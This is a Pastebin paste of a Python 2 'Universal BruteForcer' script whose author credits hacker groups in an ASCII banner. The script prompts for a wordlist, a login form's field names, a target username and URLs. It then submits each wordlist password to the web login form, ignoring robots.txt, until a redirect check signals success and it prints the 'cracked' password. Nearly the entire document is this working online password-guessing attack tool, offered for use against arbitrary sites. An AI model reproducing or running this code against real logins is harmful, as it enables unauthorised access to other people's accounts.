stoker

Universal BruteForcer

Jan 31st, 2014
459
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.86 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Changing The Description of a Tool won't Make You Programmer!!
  3.  
  4. import mechanize
  5. from mechanize import Browser
  6.  
  7. print '''
  8.     ______                  //                                  
  9.    //   ) )                //                        
  10.   ((      ______  ______  //____    ______   _____
  11.     \\     / /   //   ) )//\ \    //___) ) //  ) )
  12.      ) ) / /   //   / / //  \ \  //       //      
  13. ((___/_/ / /   ((___/_/ //    \_\ ((____   //    
  14.  
  15.  [*] Python Universal Brute Forcer.
  16.  [*] Author: Muhammad Adeel aka InnoXent Stoker
  17.  [*] FB: facebook.com/xtoker
  18.  [*] Mail: [email protected]
  19.  
  20.  ==>   Love for     | Xploiters | AnonGhost | PAKBugs | PHC | PCE | All Pakistani & Muslim Hackers.
  21.  
  22. '''
  23.  
  24. # Gathering Information...
  25.  
  26. passlist = raw_input('Enter Your Wordlist Name: ')
  27. html_form = raw_input('\nEnter FormName of HTML Page: ')
  28. user_lable = raw_input('\nEnter UserName Lable on Page: ')
  29. pass_lable = raw_input('\nEnter Password Lable on Page: ')
  30. username = raw_input('\nEnter Username to be cracked: ')
  31. webpage = raw_input('\nEnter Login Page URL: ')
  32. webpage_redirect = raw_input('\nURL for Redirecting after Password Getting Cracked: ')
  33.  
  34.  
  35. # Real Game...
  36.  
  37. stoker = open(passlist, 'r')                                                
  38.  
  39. while 1:
  40.   password = stoker.readline()                                      
  41.   print "Trying Password: ", password
  42.   bruter = mechanize.Browser()
  43.   bruter.set_handle_robots(False)
  44.   bruter.open(webpage)
  45.   bruter.select_form(name=html_form)
  46.   bruter[user_lable] = username
  47.   bruter[pass_lable] = password
  48.   bruter.submit()
  49.   open_redirect = bruter.open(webpage_redirect)
  50.   if open_redirect.geturl() == webpage_redirect:
  51.     print "Password is Cracked, password is ==> ",password
  52.     break
  53. stoker.close()
  54. exit = raw_input("Hit 'ENTER' to Exit")
Add Comment
Please, Sign In to add comment